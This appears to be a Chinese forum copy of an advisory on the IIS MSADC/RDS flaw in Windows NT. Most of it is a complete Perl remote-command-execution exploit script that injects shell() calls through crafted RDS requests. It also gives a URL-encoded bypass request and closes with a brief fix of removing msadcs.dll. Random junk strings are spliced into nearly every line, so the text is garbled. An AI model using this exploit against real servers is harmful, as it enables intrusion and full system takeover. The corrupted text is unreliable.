IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
_S6SCSF c O| 0} m 涉及程序：
0J 1&6b Microsoft NT server
!+ ??3-q -y )g}D% 描述：
Ve\P ,. 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
LKu
,H g42Z*+P6N 详细：
v^(J+d_> 如果你没有时间读详细内容的话，就删除:
j 79$/ Ol
c:\Program Files\Common Files\System\Msadc\msadcs.dll
-^= JKd &p 有关的安全问题就没有了。
hg}R(.1K= Z}$ 1~uyw 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
^TCfj^FP 8jfEvwY 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
NLO& .Q]# 关于利用ODBC远程漏洞的描述，请参看:
@ R;o $n 1Et{lrgh
f http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ]gB:ht z#{%[X2 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
LkUi^1((e http://www.microsoft.com/security/bulletins/MS99-025faq.asp % scQP{%aD <'z.3@D 这里不再论述。
A>QAR)YP $C9['GGR 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
t%]b`ad )TyI~5>; /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
A7s va@}W 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
MnD^jcx
#=aT Sw X u_X(c'aE; #将下面这段保存为txt文件，然后: "perl -x 文件名"
_f< #+*y |NXe{q7{ #!perl
,(& 5y:o #
PW GN UNc # MSADC/RDS 'usage' (aka exploit) script
*aS[^iX?s #
C+Pw # by rain.forest.puppy
3B[ u2o> #
eAbp5}B # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
$o> 6Io|D # beta test and find errors!
2qfKDZ9f^ qq[Enf|/y use Socket; use Getopt::Std;
<l"rn M% getopts("e:vd:h:XR", \%args);
5u&hp vON1\$bu ` print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
.V?>Jhok $'
>|r] if (!defined $args{h} && !defined $args{R}) {
@rt}z+JF print qq~
8VR!
Y0`e Usage: msadc.pl -h <host> { -d <delay> -X -v }
_cD-E.E% -h <host> = host you want to scan (ip or domain)
K{[N.dX( -d <seconds> = delay between calls, default 1 second
E8PlGQ~z{d -X = dump Index Server path table, if available
1\ab3n -v = verbose
P'D'+qS -e = external dictionary file for step 5
|n+
` t?L^ [eO6 H2@=z Or a -R will resume a command session
l\1_v7s !D Nk!]| ~; exit;}
Qvhz$W[P> &<oDl _^ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
"| W``&pM if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
7) 37AK w if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
$ J)2E g if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
o1]Z e F $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
rv;is=#1 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
-Gmg&yQ9 $7 'KcG if (!defined $args{R}){ $ret = &has_msadc;
T@\%h8@~] die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Y<9]7R(\; ])iw|`@dJ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
?N(opggiD . "cmd /c ";
9,G94.da $in=<STDIN>; chomp $in;
BhC>G2 ^7 $command="cmd /c " . $in ;
P* .0kR1n mr\C
if (defined $args{R}) {&load; exit;}
eL{6;.C kl i)6R< print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
%:/?eZ &try_btcustmr;
j] bNOC2.L ~e#QAaXD#5 print "\nStep 2: Trying to make our own DSN...";
"E}38 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
ry!0~ir z]bcg$m print "\nStep 3: Trying known DSNs...";
, %EGM+ &known_dsn;
$3je+ =ER w~l%x iC print "\nStep 4: Trying known .mdbs...";
x I(Y}> &known_mdb;
~5sH`w~vQ 3KN>t)A# if (defined $args{e}){
&NB"[Mm :@ print "\nStep 5: Trying dictionary of DSN names...";
5;_&C=[ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
^U[yk'!Y D ~LU3 #n print "Sorry Charley...maybe next time?\n";
~;P>}|6Y exit;
] R-<v&O qF57T>v| ##############################################################################
9 Z79 odNHy JS0 sub sendraw { # ripped and modded from whisker
CGY,I
UG sleep($delay); # it's a DoS on the server! At least on mine...
CWW|? my ($pstr)=@_;
->Bx>Y socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
TATH,Sz:x die("Socket problems\n");
>C"QV `+ if(connect(S,pack "SnA4x8",2,80,$target)){
Ye"#tCOEG select(S); $|=1;
k*Vf2O3${ print $pstr; my @in=<S>;
@(_f}S gfE select(STDOUT); close(S);
ruTj#tWSo return @in;
<N}*|z7=b } else { die("Can't connect...\n"); }}
nk^-+o lm o dTg.m ##############################################################################
#uH l h(Ccm44 sub make_header { # make the HTTP request
[$P .ek< my $msadc=<<EOT
QQIU5 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Hg%8Q@ User-Agent: ACTIVEDATA
CKgbb4;<m[ Host: $ip
~s UWXw7~ Content-Length: $clen
j+7ok 5J# Connection: Keep-Alive
#RWH k kFsq23Ne ADCClientVersion:01.06
Mh;rhQ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
P|{Et=R`1 * zn=l+c --!ADM!ROX!YOUR!WORLD!
j~:N8(= Content-Type: application/x-varg
I7/X6^/} Content-Length: $reqlen
<"rckPv_H # 5C)k5 EOT
2W]y9)<c ; $msadc=~s/\n/\r\n/g;
b1 NB: return $msadc;}
iJD_ qhd7 cgvD>VUw ##############################################################################
vhaUV#V" ~PAbtY9}U sub make_req { # make the RDS request
*Ul L\ my ($switch, $p1, $p2)=@_;
O)i ]K`jk my $req=""; my $t1, $t2, $query, $dsn;
BL Q&VI4 UZq1qn@+ if ($switch==1){ # this is the btcustmr.mdb query
:\+\/HTbh $query="Select * from Customers where City=" . make_shell();
2E
X Rq $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
2r~&+0sBP $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
sBfPhBT| 999E0A$dkv elsif ($switch==2){ # this is general make table query
+m8gS;'R4 $query="create table AZZ (B int, C varchar(10))";
gQ=g,X4 $dsn="$p1";}
OK"B`* r=3knCEWK elsif ($switch==3){ # this is general exploit table query
.0zN t $query="select * from AZZ where C=" . make_shell();
(`& `vf $dsn="$p1";}
s*0PJ\E2 1~# 2AdG elsif ($switch==4){ # attempt to hork file info from index server
l[J'FR: $query="select path from scope()";
Xu8_ <% $dsn="Provider=MSIDXS;";}
"RF<i3{S HRY?[+ elsif ($switch==5){ # bad query
` /z6 Q" $query="select";
C'c9 AoE5> $dsn="$p1";}
MXj7Z3 u< ,c $t1= make_unicode($query);
+s'qcC $t2= make_unicode($dsn);
Wqu][Wa[Z $req = "\x02\x00\x03\x00";
0H-~-z8Y $req.= "\x08\x00" . pack ("S1", length($t1));
G#pRBA^ $req.= "\x00\x00" . $t1 ;
M9/c8zZ $req.= "\x08\x00" . pack ("S1", length($t2));
iJ rF$Xw $req.= "\x00\x00" . $t2 ;
d:"]*EZ [ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
x1}7c9n K return $req;}
URodv yD PmGW\E[ni ##############################################################################
WD^ !G;} d,G:+ sub make_shell { # this makes the shell() statement
xj Oj1Hv return "'|shell(\"$command\")|'";}
s=+,F<;x.U `KgWaf- ##############################################################################
\+ cU} y@kRJ 8d sub make_unicode { # quick little function to convert to unicode
Qw{LD+r( my ($in)=@_; my $out;
0
7Cufo I for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
%U& O
\GB return $out;}
YFVNkB O% }T? 0/N3y& ##############################################################################
rSUarfZ< \tj7Jy sub rdo_success { # checks for RDO return success (this is kludge)
hy"O_Le my (@in) = @_; my $base=content_start(@in);
1jJ>(S if($in[$base]=~/multipart\/mixed/){
t} zf fe - return 1 if( $in[$base+10]=~/^\x09\x00/ );}
cu4&*{ return 0;}
2Qqk?;^ 1 bm>,$GW( ##############################################################################
) ")_aA "eq{_4dL sub make_dsn { # this makes a DSN for us
Zz<k^ my @drives=("c","d","e","f");
9y(75Bn9 print "\nMaking DSN: ";
@O/Jy2>3H foreach $drive (@drives) {
bqHR~4 #IR print "$drive: ";
ccc*"_45# my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
B&~#.< 23: "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
2F0@ M|' . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
S <C'#vj $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
X|}yp| return 0 if $2 eq "404"; # not found/doesn't exist
d%:B,bck if($2 eq "200") {
*{qW7x.6h foreach $line (@results) {
B>&Q]J+R return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
|g vx^)ro } return 0;}
^tS{a *Yn M]O
_ L ##############################################################################
CbmT aEaP B?
$9M 9 sub verify_exists {
~s@PP'! my ($page)=@_;
2lVJ"jg my @results=sendraw("GET $page HTTP/1.0\n\n");
}Ut*Y* return $results[0];}
d
NQ?8P-& " |?zQ?E ##############################################################################
+FD"8 ^YC |,*N>e sub try_btcustmr {
Mu,}?% my @drives=("c","d","e","f");
'Vwsbm
tY my @dirs=("winnt","winnt35","winnt351","win","windows");
A>@ i
TI d"K~+<V} foreach $dir (@dirs) {
k8 !|WqfP print "$dir -> "; # fun status so you can see progress
/5qeNjI+2 foreach $drive (@drives) {
m0}Pq{ g print "$drive: "; # ditto
kvWP[! j?) $reqlen=length( make_req(1,$drive,$dir) ) - 28;
]JQ7x[ $reqlenlen=length( "$reqlen" );
\LYB% K} $clen= 206 + $reqlenlen + $reqlen;
]ZV.@% + kD&%
7Vz my @results=sendraw(make_header() . make_req(1,$drive,$dir));
CH!>RRF if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
9 7 Oi} else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
T bMW?Su ,$"*X-1 ##############################################################################
bXVH7F y 5Lmhip sub odbc_error {
{+`'ZU6C my (@in)=@_; my $base;
C`qo my $base = content_start(@in);
0 rM'VgB if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
6n[O8^ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Lp!4X1/|\ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
|;~kHc$W $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
*P\$<4l return $in[$base+4].$in[$base+5].$in[$base+6];}
mGss9eZa print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
['<Q402:. print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
M]FA
y "E $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
]i$ <<u YJBlF2uD ##############################################################################
v[k;R R,]J~TfPK sub verbose {
,\YlDcl':0 my ($in)=@_;
D<V[:~-o return if !$verbose;
vBFMne1h print STDOUT "\n$in\n";}
<1t.f}}uX vy:-a G ##############################################################################
T\ixS-%^ pr\wI?:k sub save {
A_h|f5
my ($p1, $p2, $p3, $p4)=@_;
{R G4 m{#9 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
i5PZ )& print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
p$5uS=:4`8 close OUT;}
tu4-##{ @fI1|v=eF ##############################################################################
prIPPeMdz 35q4](o9" sub load {
U?@ s`. my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
fGZ Z['E open(IN,"<rds.save") || die("Couldn't open rds.save\n");
yj:<3_-C* @p=<IN>; close(IN);
|:H
9#= $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
L=7Y~aL= $target= inet_aton($ip) || die("inet_aton problems");
0|Rt[qwKb@ print "Resuming to $ip ...";
g1!e k $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
M0jC:*D`" if($p[1]==1) {
Q1Jw7R #?l $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
oouhP1py, $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
TnuaP'xZ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
=c(t;u6m- if (rdo_success(@results)){print "Success!\n";}
!iNN6-v% else { print "failed\n"; verbose(odbc_error(@results));}}
!t;B.[U * elsif ($p[1]==3){
buj *L& if(run_query("$p[3]")){
iBqxz:PHN( print "Success!\n";} else { print "failed\n"; }}
+hIC N,8! elsif ($p[1]==4){
h!~Qyb>W if(run_query($drvst . "$p[3]")){
S9
p*rk ~ print "Success!\n"; } else { print "failed\n"; }}
zfsGf 'U exit;}
[-5l=j
r (93$ L zZ ##############################################################################
_c z$w5` cv=H6j]h | sub create_table {
w/1Os!p my ($in)=@_;
L*(!P4S%} $reqlen=length( make_req(2,$in,"") ) - 28;
J<9; Ix 8R $reqlenlen=length( "$reqlen" );
h ifC.guK $clen= 206 + $reqlenlen + $reqlen;
FjU
-t/ my @results=sendraw(make_header() . make_req(2,$in,""));
Fkvf[!Ci return 1 if rdo_success(@results);
ML!>tCT my $temp= odbc_error(@results); verbose($temp);
mNQ~9OJ1 return 1 if $temp=~/Table 'AZZ' already exists/;
#5 % \~ f return 0;}
WV8vDv1jt DtFzT>$^F ##############################################################################
b(HbwOt ~3 g7l ?/p[n sub known_dsn {
"y7IH
GJ\3 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Zk+c9, q my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
8XG|K`'u "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
/>X"' G "banner", "banners", "ads", "ADCDemo", "ADCTest");
gucgNpX O pLo[Y\ foreach $dSn (@dsns) {
+H SKFp print ".";
VprrklZ next if (!is_access("DSN=$dSn"));
Q`zW[Y&] if(create_table("DSN=$dSn")){
K} ) w print "$dSn successful\n";
<hBd
#J if(run_query("DSN=$dSn")){
0%
zy 6{ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
\LYNrL~?J print "Something's borked. Use verbose next time\n";}}} print "\n";}
nrM_ay 2uzy]faM ##############################################################################
>9+h2B
08qM?{z o^ sub is_access {
Q35D7wo'} my ($in)=@_;
0x2[*pJ|IW $reqlen=length( make_req(5,$in,"") ) - 28;
2hf7F";Af $reqlenlen=length( "$reqlen" );
*3A)s
O $clen= 206 + $reqlenlen + $reqlen;
/4Yx B, my @results=sendraw(make_header() . make_req(5,$in,""));
S7h?tR*u my $temp= odbc_error(@results);
>* h3u7t verbose($temp); return 1 if ($temp=~/Microsoft Access/);
m:)s UC0 return 0;}
pC/13|I .!)i ##############################################################################
uWkn}P q^ eLbivVE sub run_query {
560` R> my ($in)=@_;
,DD} o $reqlen=length( make_req(3,$in,"") ) - 28;
1'!%$ D $reqlenlen=length( "$reqlen" );
0gsRBy $clen= 206 + $reqlenlen + $reqlen;
#A 7|=E my @results=sendraw(make_header() . make_req(3,$in,""));
ld[BiP`B2V return 1 if rdo_success(@results);
TlC GP)VSj my $temp= odbc_error(@results); verbose($temp);
EQVa8xt/C return 0;}
M-/2{F[ j_0xE;g"] ##############################################################################
>)edha*W] N gagzsJ= sub known_mdb {
<N8z<o4rku my @drives=("c","d","e","f","g");
}t0JI3 my @dirs=("winnt","winnt35","winnt351","win","windows");
`4 -m$ab my $dir, $drive, $mdb;
(g3DI*Z my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
2.
f8uq Xu7lV # this is sparse, because I don't know of many
zs r; 37 my @sysmdbs=( "\\catroot\\icatalog.mdb",
`RyH~4\; "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
*YP:- "\\system32\\certmdb.mdb",
I_i s3y 0 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Bej k^V~ qHu\3@px my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
'DD~xCXE "\\cfusion\\cfapps\\forums\\forums_.mdb",
" ""pe+Y "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
kZ'wXtBYe "\\cfusion\\cfapps\\security\\realm_.mdb",
NEt_UcC "\\cfusion\\cfapps\\security\\data\\realm.mdb",
6E$ET5p& l "\\cfusion\\database\\cfexamples.mdb",
@7J;}9E "\\cfusion\\database\\cfsnippets.mdb",
Ga\kvMtr "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
+wcif - "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
x$) E^|A+ "\\cfusion\\brighttiger\\database\\cleam.mdb",
2Yg\<Ps N "\\cfusion\\database\\smpolicy.mdb",
#c(BBTuX "\\cfusion\\database\cypress.mdb",
lz4M)pL^ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
^L-; S "\\website\\cgi-win\\dbsample.mdb",
bd&N f2 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
h]W W?. "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
MPMAFs ); #these are just
$AHdjQ[;6- foreach $drive (@drives) {
X<d`!,bn@
foreach $dir (@dirs){
QG
1vP.K foreach $mdb (@sysmdbs) {
6SEq 2 print ".";
OE2r2ad if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Bkdt[qDn5P print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
GriFb]ml" if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
8@]vvZ2/gj print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
P9M. J^< } else { print "Something's borked. Use verbose next time\n"; }}}}}
Nuaq{cl :z2G
a foreach $drive (@drives) {
@DK`#, foreach $mdb (@mdbs) {
2Zr,@LC print ".";
G"U^ ]$(+K if(create_table($drv . $drive . $dir . $mdb)){
s,~g| I\ print "\n" . $drive . $dir . $mdb . " successful\n";
ycrM8Mu
3 if(run_query($drv . $drive . $dir . $mdb)){
u2cDSRrqT print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
L/)Q1Mm } else { print "Something's borked. Use verbose next time\n"; }}}}
*#j_nNM4 }
x<=R?4@rq (f
##############################################################################
7%5EBH & .QB)Y* z sub hork_idx {
N^zFKDJG print "\nAttempting to dump Index Server tables...\n";
T=VBKaSbU print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Ag} P $reqlen=length( make_req(4,"","") ) - 28;
|D1TSv}rZD $reqlenlen=length( "$reqlen" );
@ cn8 m $clen= 206 + $reqlenlen + $reqlen;
?D=C8[NEX my @results=sendraw2(make_header() . make_req(4,"",""));
98lz2d/Fcq if (rdo_success(@results)){
{=9"WN my $max=@results; my $c; my %d;
g])iU9)8 for($c=19; $c<$max; $c++){
1B~[L 5p9 $results[$c]=~s/\x00//g;
MGH2z: $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
y':65NMda $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
RAF do $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
nc;iJ /\4 $d{"$1$2"}="";}
lbMok/a2o foreach $c (keys %d){ print "$c\n"; }
gq050Bl) } else {print "Index server doesn't seem to be installed.\n"; }}
K$5mDScoJ Z=s.`? Z ##############################################################################
r\$`e7d}! Cp s' l sub dsn_dict {
3EA`]&d> open(IN, "<$args{e}") || die("Can't open external dictionary\n");
hd#MV!ti while(<IN>){
&'W ~~ir $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
8GT4U5c
; next if (!is_access("DSN=$dSn"));
*iXaQu T if(create_table("DSN=$dSn")){
C$^WW }S print "$dSn successful\n";
7X/KQ97 if(run_query("DSN=$dSn")){
1_5]3+r_U- print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
aThvq%; print "Something's borked. Use verbose next time\n";}}}
4[
=C,5r print "\n"; close(IN);}
^2"3h$DJfS ]I(<hDuRp ##############################################################################
Io]KlR@!T `0 Xs!f sub sendraw2 { # ripped and modded from whisker
NJPp6RZ% sleep($delay); # it's a DoS on the server! At least on mine...
Sj@VOW my ($pstr)=@_;
DQ%(X&k socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
#oxP,LR die("Socket problems\n");
Fqg *H1 I[ if(connect(S,pack "SnA4x8",2,80,$target)){
$B?IE# 7S4 print "Connected. Getting data";
K'S \$ open(OUT,">raw.out"); my @in;
UiH5iZ<r; select(S); $|=1; print $pstr;
SfUbjs@a while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Q=F^Y f close(OUT); select(STDOUT); close(S); return @in;
$(&+NJ$U$ } else { die("Can't connect...\n"); }}
RwDXOdgu KKM!( $A ##############################################################################
W>J1JaO K8/I+#j sub content_start { # this will take in the server headers
z9ZS& => my (@in)=@_; my $c;
ew*;mQd for ($c=1;$c<500;$c++) {
0oo*F if($in[$c] =~/^\x0d\x0a/){
i?|b:lcV if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
AJ) N?s-= else { return $c+1; }}}
15"[MX A return -1;} # it should never get here actually
2 D!$x+| qHC/)M#L ##############################################################################
Jb ]22] ts ;C:.X sub funky {
1'SpJL1u~ my (@in)=@_; my $error=odbc_error(@in);
|k= 5`WG if($error=~/ADO could not find the specified provider/){
okLhe F print "\nServer returned an ADO miscofiguration message\nAborting.\n";
d2tJ=.DI exit;}
?tf<AZ=+^L if($error=~/A Handler is required/){
yr34&M(a print "\nServer has custom handler filters (they most likely are patched)\n";
\ zV'YeG exit;}
}!@X(S!do
if($error=~/specified Handler has denied Access/){
3Qu Ft~@@ print "\nServer has custom handler filters (they most likely are patched)\n";
7:X@lmBz= exit;}}
2hE+Om^n XMm (D!6 ##############################################################################
+*KDtqZjk BnIZ+ fg= sub has_msadc {
lv\^@9r my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
6|ENDd[ my $base=content_start(@results);
A3zO&4f
] return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Wj\ <
)cH] return 0;}
x).`nZ1 ,[)f-FmcU ########################
<PXnR\ N="H
06t T.iVY5^< 解决方案：
R4[dh.lf 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
8u bb~ B; 2、移除web 目录: /msadc
